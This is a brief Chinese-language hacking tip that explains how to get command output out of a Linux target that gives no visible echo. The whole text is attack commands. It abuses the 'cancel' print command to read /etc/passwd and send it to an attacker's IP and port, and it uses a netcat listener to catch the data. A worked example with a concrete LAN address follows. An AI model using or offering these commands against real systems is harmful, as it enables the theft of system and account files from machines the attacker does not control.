linux下无回显可将回显发送到服务器

靶机无回显的情况下，可使用 cancel  来把回显发送到攻击机端

cancel -u "$(cat /etc/passwd)" -h ip:port
攻击机用nc来接收返回信息

nc -lvvp [port]

实例演示：

攻击机ip：192.168.0.101

linux靶机端执行 ：

cancel -u "$(cat /etc/passwd)" -h 192.168.0.101:3321
攻击机执行：

nc -lvvp 3321